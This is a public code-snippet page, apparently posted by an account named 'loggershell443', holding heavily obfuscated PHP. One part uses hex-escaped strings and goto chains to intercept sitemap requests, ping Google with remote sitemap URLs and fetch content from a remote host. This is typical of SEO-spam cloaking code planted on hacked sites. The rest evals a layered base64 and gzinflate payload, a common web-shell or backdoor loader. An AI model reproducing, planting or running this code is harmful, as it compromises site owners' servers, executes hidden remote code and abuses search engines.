@ini_set("\144\151\x73\160\154\x61\x79\137\145\x72\x72\x6f\162\x73", 0); goto NP92X; gOxCZ: error_reporting(0); goto ZPc6E; zYwVM: if (!@preg_match("\43\136\x2f\x70\x69\x6e\x67\163\x69\164\145\x6d\141\x70\50\x2e\52\77\x29\x2e\170\x6d\x6c\44\43\151", $OTBke, $xFVzd)) { goto qp0U1; } goto ELkVq; PYJxt: SbcYg: goto KalrY; ObS21: $PfQN7 = sprintf("\x68\x74\164\x70\x73\x3a\x2f\x2f\x77\167\x77\56\147\x6f\x6f\x67\154\x65\56\x63\157\56\x6a\160\57\160\151\156\x67\77\163\x69\x74\x65\155\141\160\x3d\45\163\x3a\57\57\x25\x73\57\x73\151\164\x65\x6d\x61\160\45\x73\x2e\170\155\154", $ey6C2, $Yaqat, $xFVzd[1]); goto S4BjC; Y7zFV: $xE8rZ = trim(urlx("\150\x74\164\160\x73\x3a\x2f\x2f" . gets() . "\x2f\x73\x69\164\x65\x6d\141\160" . ($xFVzd[1] == '' || $UQ04n[1] != '' ? "\x2e\170\155\154" : "\x2f" . $xFVzd[1]), $ANf_1, $ECeng)); goto HTmg2; d2j4g: exit; goto LJtY3; LJtY3: lp6QU: goto iZ89Q; QDOni: if (!($xE8rZ === '')) { goto oKAIv; } goto kGz6D; S4BjC: $Z0g6u = urlx($PfQN7); goto SnzpC; Ar1Jt: $SqYbT = 1; goto FXGYK; c7QGI: $ECeng = "\163\x68\x6f\163\x74\75" . $Yaqat . "\x26\x68\x74\x74\x70\x3d" . $ey6C2; goto wMZHT; dO8__: array_push($ANf_1, "\170\x64\x6f\x69\x6d\72\x20" . crc32($XyqD_ . "\134\x6e" . $ECeng)); goto Mlyhf; KqPWr: $mM30W = "\x3c\x3f\x78\x6d\x6c\x20\x76\145\162\163\151\157\x6e\x3d\42\x31\x2e\60\x22\40\145\x6e\143\x6f\x64\151\156\147\75\x22\x55\x54\x46\x2d\70\42\x3f\x3e\74\x21\55\55\x20\141\x75\x74\x6f\x67\x65\156\x20\x62\x79\x20\144\x6f\151\155\x20\55\x2d\x3e\xd\12\74\x75\x72\x6c\x73\145\164\40\x78\x6d\154\x6e\163\75\x22\x68\164\164\160\x3a\57\57\167\167\x77\x2e\x73\151\164\145\x6d\141\x70\x73\56\157\x72\x67\57\163\143\x68\145\155\x61\163\x2f\x73\151\164\x65\155\141\x70\57\x30\x2e\71\42\15\12\x20\x20\40\x20\x20\40\x78\x6d\x6c\x6e\x73\72\x78\x68\164\x6d\x6c\75\x22\150\164\164\160\72\57\x2f\167\x77\167\x2e\x77\x33\56\157\x72\147\57\61\x39\x39\x39\57\170\x68\164\155\x6c\x22\76\xd\12\45\163\x3c\x2f\x75\162\154\x73\x65\164\76"; goto qJK6z; AgbhO: $ECeng .= "\x26\x67\x72\x6f\x75\160\151\144\75" . $UQ04n[1]; goto wwav3; U5g7k: $QgLhc = ''; goto qubm3; T0YSL: function clientip() { goto AG7ER; HVZEO: wVvQj: goto AV_7W; UBdH_: goto k9zbT; goto HVZEO; pIRIW: k9zbT: goto kt3l4; TWzpm: goto k9zbT; goto CkAn7; AG7ER: if (getenv("\122\x45\x4d\117\x54\105\137\101\104\x44\122") && strcasecmp(getenv("\x52\x45\115\117\x54\x45\137\101\x44\104\x52"), "\165\x6e\153\156\x6f\x77\x6e")) { goto aYF5V; } goto CDaXv; Tocka: return getenv("\122\x45\x4d\x4f\x54\x45\137\101\104\104\x52"); goto UBdH_; AV_7W: return $_SERVER["\x52\x45\x4d\x4f\x54\105\137\x41\104\104\122"]; goto pIRIW; CkAn7: aYF5V: goto Tocka; CDaXv: if (isset($_SERVER["\x52\x45\x4d\x4f\124\105\x5f\x41\x44\104\122"]) && $_SERVER["\x52\x45\115\x4f\124\105\137\101\104\x44\122"] && strcasecmp($_SERVER["\x52\105\x4d\117\x54\x45\x5f\101\x44\x44\x52"], "\x75\x6e\x6b\156\x6f\167\156")) { goto wVvQj; } goto TWzpm; kt3l4: }?>

<?=eval("?>".base64_decode("PD9waHAgJG56V0c9IlpYWmhiQ1V5T0NVeU5uRjFiM1FsTTBJbE0wWWxNalpuZENVelFpVXlObkYxYjNRbE0wSXVaM3AxYm1OdmJYQnlaWE56SlRJNFozcDFibU52YlhCeVpYTnpKVEk0WjNwcGJtWnNZWFJsSlRJNFozcHBibVpzWVhSbEpUSTRaM3BwYm1ac1lYUmxKVEk0WW1GelpUWTBYMlJsWTI5a1pTVXlPSE4wY25KbGRpVXlPQ1V5Tkhwd2NtTk9KVEk1SlRJNUpUSTVKVEk1SlRJNUpUSTVKVEk1SlRJNUpUTkMiOyR6cHJjTj0iPT13UzROMGNqNGpDRHRnLzNlelBsR0FDZ2FaOHJVdkFiUm9aMlQ1U1poZFJvNDljV2lvbnpmaEFod1h5NEVVUVhSWUd3bEV5a3lRTW9OZXVFMkpkazNzTGQyWnJidkcxdzEzdHBCRi9XNENZTkRGeGlIK2ZQVlRHVWUvRmpXR0twTFNyU3RGRms2eG5DK2lrUnRmSFVhYUlSN2UzdEhsUUJMWllvSzcwamJ3SFVLNU9Vdkh1NzNSNzdvcnQvU1hkaDRkR3VJajNRaEJPcGx3QjhNd2lCMC9tVkV1K2FZMzRtK2trWmtadm9NK1o4RS8zSHlmeWw5SEpPcVZCSnhYWVhoQjN2YksrRFRmTTZPdjBoeHkvbEpTR1pwVXJVZW1FUDdrYXdiT2RGQ28vTHRmemtlanhGNHJ3ZHB6T0ZGTlJhcnM4TXd5OWc2S3dBVk96ZjN6NEZoUzdYMHFiN2xGU1N3WUlsdGJ6Y2FCbTVlK1hmMWxYNjJyWjh4MERrQVFCai9kVmlJeXduNUt0RjA0VGtOS1VycXNHWnR5UTNtSm1Qcml1aEgxY1lDQk9UV0ttVlB0QVpRajhYaFl1YXlPa203V2JMUjlzRm5OUDZzOXJoNSswOXU5ZGlZWllaZ3ZsZlMwNW5aWC9kamRSSEVWL3k1eVk1elFlNndZOXVaSG0vbW9KUVozdHJ0OXpBcFVLcHJKUXA4Q3ZCNzU0OHlFQy96ZHhhN1VkdGx0TzdlcmI4OC9kM2ZMNnNSSG5kaTVJaXZVRGRCWTBheGxJSWFUb1o0ZFBCTklpTmpkaGptQ0R2Tis3STE3Yk1jSzB2TWMvZE9hN0QzdWFTWjlNVUlyRUVUWlZQL0ZHYW9PY28vL2JXMStvZCs2b2RxemozRnlCODNtbmRBNXRNUzNjM21tOUpMOU93Mk1CaEpNZEtnUEZoRTBlbkJJdUxDZ0plRWw4bVg0Yk80TFNsYXFoNXFPdXl0bU9zcjJLcVMrYkVPYzlBdnRKT0ZDZHBLTW8rUGcxQmthb0t5N1o4K3Z4WVJhUGduNkQ0RnJZSG9NblY4d0xLelZGa0hKVXFJdW5zV3pHc3lzSkJyd0daa0EvYUNWM0lYTTRqMGRweXJaZ0Jma3c1ZC9rbkM0M1VBeTRMdWdoNjB1OXhYcjVGanZrcFJsTS9lUkRKdVhvbncyWnhNYmdzaHRCZWtyeXN5Q1RoRTZYQXcrY09rNThJa2VPZThJUlpERlJPQmpJK3BTMjNMQVRka2xwcmVHdWFhNUNScmtadElMQUNmdkZJNGtobVoyTktKYWU5K2FYNlV1M1dna3RsVHBYODVCUGVGUXFxQVltdnlZVkZpelJuYlowbmZZWmZmeFBUTnBRcnFBMGVOamdrVTA5NXJmSHh2a2sxOTlJSG5KL21TMUsrS2ovZEJ0U21FL2w5anlKOCsyYkk3OGdnalFlUlJlRUlHM3ZvVHV1MTRzZk1WQ1pSSVFOTDVaTk44LzBpcVgwUkV3OUlob2k1QmVoSkNoQ2F6ZlQ1QTVaUGJqQ1g3VnE2N003VDUwWmhTOUM5TlJXTVF1Wm02eGZyRFVIM0Vqdm4rSnJjSHVOdnduM2xFSk5SYlNXZk1iRnhLb3VWaVJveElncXhyNXQzZWl6djcyYnZlMWZ1bjZFUWhTV2lPbnFTY05WVytMcEhGQUUwbU9ubGcwV0tleWc1aHExWWRjOFMrL29uVGRkR1MxbXFEN0hCWVFjWlkyWlBoYVhBOHhtVEpHRmw3dEpFaFJuamZRb2ZmcnF6NTNyRGlERkVqYmhsSVc2d3NaVUw2elY3MHh0NkZVbk42ODhXZTRPNENjOGVMWDAzQUtQdVdrWEltNUFDSm9HZnlEYzlJWGd4QktjOEVMQUZwOHJNNjZDTDBhdFNxYlJYb2ZWa1g0UVdaNi9pejdpK3prQkVlUUxEcU9WVHVYbU1iU0NMVU9rL2VmKy9uMlgvZUZOZ2lEaUlPcHhwZU4rVndFOGZhTytUWXFqTWtWNlZieTFUT0RQVWZFalZKejQrQ3l0R0NBTnlieGRYNGxtckFCTUkvUWhYc2NzZzRaSFhRTU1zSkxYK3FSWkNzM0VCeXBUT1piOEQyZlhqWERHL01UTURyWVB5V0REOXk4TFJLNTc4NWtqRDI3ZWZvT0k4dDJmYjVyYWU5UitaLzFaSUxLdE5PeDBWYndoRGlxenkzemhtd0hpMzRVUXlXVjRKeThLMUhCcU9udmo3ZmVyaGZ3cGRkVTV4RGpYaWp1b2k0QmZHbFFXcnBjTnM2Qml1SytUeVVLbUpacUtUbElFaU9pNFBMalhMaFYya3lDalVIN1ZXRGx3TU9lY1IyZGlNYlNFOFFKamM5OHZnSE4wWHhLWWs2YVpsUmUyS3UrTDliK21UTEt0R2xWblBGQ3drZzhlQkhWVEJDeXprNlB1WG9hMmhEQVUyWHZiK3N0VHA3YzdEM2Y3UnplYjdjL2RTTGxPcGtoMjV6YjNyWFZwMnpBWEtRdkFncjQ5cFFIVHR2aFpPQ2lSR0NJT2JLelRXb1ZtVU5KUlhZSzBUWldCVTlrZFdtdGdiTXo1QmV1NnR3NGFCRm5PbjQ3WDdFcmpPVWJnUWZ3Kzd4MzZ1UU1Rdm5wYTJDeXlGOHBkSWlEY1V0TEEvajI1ajV2cVl2bEZsNXFvVFdpMGl5blNGazFUYjYxczE4eDZ0K1ZRN0lCK1B5WTFTUngwTlVyUGhRQ0tPdEdEaG1VR3hjVTZ4VE1MTFRIVXJkcUZXQ09SbzJvVVBxTWtUaUtLSUErUnh4Y3FCUnZXMUpCT2NYZkd0cWplRW90Q3FBWFdGZ3NZbHhJbktNMkZsd1FTS2hCdUFEQUVWb0paQm9HVkpITlF6VzVVK01zODZ3dXdBLzAxS1dMcGFCd0lqZ2FJYUNGOCsxanlLWCt4RDJWSyt4Z2NHeGJOdHYrUGFqcjZQVGZxRml1TzVodmM1cWxGQW5GSFlnY2hVUnU4eVdyQ0xpQ0FjcVFpUlIrbExqTTFrYUdTVVZiVmljdElxVlgySlpRc1RvbmFNdWdiVjJSQmZXbVV6c1VtWlpiWWdkSktKTS9VcFBrQXExd1d1bkY1Y0ZQMUx2YnZwTXFtMTFnUWMyYStldDEvdGs4VHYwTUxOV0dPTVRoWVJmVG1ZSmJTa2w5Y2hJRGI2SmpDVkg0d1JubDB2ZzhFamo4a0xldlF1YkU5WlVZSE1qaTgwaFBmbkdoOWQreS9MTWhnenZ6TDl6SkxWRWtuMG42emZEMHpqRXBzcHdTTTRnUEtpVUpxbUM1ZzMrRGd2WnZIMDVHTzVBb3NOUXI4ZlBBVXVMQlNMK0tnTEYxTFJPUkxiV0RpVWJheTNIeEZhc2hobkJkNEcyaHJnVjFVR0FKR2lpazJBUURFUi9CWEl3YTk2alBzUWZlakZCQ3YwdWR4R3BQcnhib1FROEc3OXIyY0dkRk1yb05ZQVBpeDVsUmZHTHlvVVdEMi9QQmRuMytBdTlDSkpnTGZMMWFtNGxZZk9VRk9qM3pVdGZFc3pDRThHQ2VwUWljTXA0UEkzemRwYXhlR0NVVmpzbm1JQXZYd0lCRDNXaERsek1MVUFNTDBoQklxZmZ0ZDNnRlFxUDJYQi9nSmVXRHh4MVpTcUVoVDVTcnFHbEVOMnhMM2JxdzBWRm01cWdmNC9mdUFFTHRWZE0xR3dHcFdSSmJ5SSswSGVSRW40TThsU3ZHVmlPVm44bGFZZitUSmxOSFFpQ25rOUNrQ0pJZzgxcTExOWZHcTVRcGp1VCt5Rlk1NzEvR2tFSmxBaWZIb3k4UWlTeXNTVUwwblJhYWlqanpyT2gwYUl4ekxyY0IwVVhOZVZuRDlodU5jTjlUeDBuYUhVMzVqb3hXeGMwUFJHRXZLeG9QUXZUT05Ecm9NNjNRa2xJSklVNjNBcHVEN0FNU0F5MXFuTGV0QTdYZmJXTmxEM3dvcmU2QitoR3M3dENqSE9MdTRReFNXTEdnc296OVV0bkJmc0FzZHM5aVRjWVFvR0lkYUFiYnJBV1lQSThrL21ONmN4Uzg3UHpnK3pwQTVLeGZSRmE4aHhVT1M5aUVMN3R1dkJmQmdGY3ZkZmVHcDduMjIrdjl1cDVGMUYrZEtwcnpPZGZnQ2dXTzZVTXBDMmM2T3hSRmszQ2IrQW5OdnA0TWp6Nm9rZ0lkUHltTU5aQzB1MjYrMjllN1FNeWJTYURWVURwMXRUdXFQSWd3UGFrMDVtd2sxN1N2MmZ0bFRmZG9XM2RHdTdibjlXM3VqMXZlM2JjdmQzdi91Slp2SzFEOVNERDBHUVI1QW5LUzI1SWwzQTh0V1V6WnREQ1FUeUZDSTE2a01LUzJpMGtkQ3JKaTJhdlQvMjFYQnUvRUowdmsveUVFZXMzWFFEZ3p0eFFVdFVPTGVPZUJsd2ZId1pyb01Vb3NUSFl4VXg3TlFtUnlsRjh1aDhLM2IrUlJJdWh1ZmJLUzJGUkFKeFRoZ1BYU3VnWjZtbDBLK0YwbDhrcGZmL1k5b2RxRzRFOTdZbDZCdWE3NFB3WEpieVA1NDFvcExUSmhYSTR1Sm9obnd4Z1NuTlNKdklwczZxUFBUMW9SYUdKRnhDU2xBYUVrOWtZdTZadmVkcU41R1EzZkkvbVRBa2hUYW1FbktWZmV6dDJzSy9ZVjd0bnpTWUVrOWJFWVlLbzJOU1pwQlhrWXhES2ZmUDZGYmRqUXNJdzhaaTlRR3RFL1EvdFZmV2N4RkdtaFg0dU9WUW1qemJiaEVQWjJZSUFqM2tjOTNYWDFManRYN1oybzYydDNEeE9ocVNFY3pONmMrUzQxK0tsYVk3d3pDWnJ2dDR0ZFRxWjRDVVB1Q3NjTWJoZHNGUlFCYU52cDIrOWNyZldYTEZDMXd1VG1BZXRVSjdlYU9RbWZuNWZwbWZISUw1UVNxc0VZYjNHaUt5VVJ1VEdEanoyRlFZZUJIZ1VOa3NiSlJsU2F4ZDhnOHFtaDlLdHRVWm5SemNpSDkydlFDQndKZTB2K0NVRUE5bXZRR0JRZjRMNFJBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZSh1cmxkZWNvZGUoYmFzZTY0X2RlY29kZSgkbnpXRykpKSk7ZXhpdDsgPz4="));?>

Editor Settings
Theme
Key bindings
Full width
Lines

Snippet Metadata
Owner	loggershell443
Created
Modified
Visibility	Public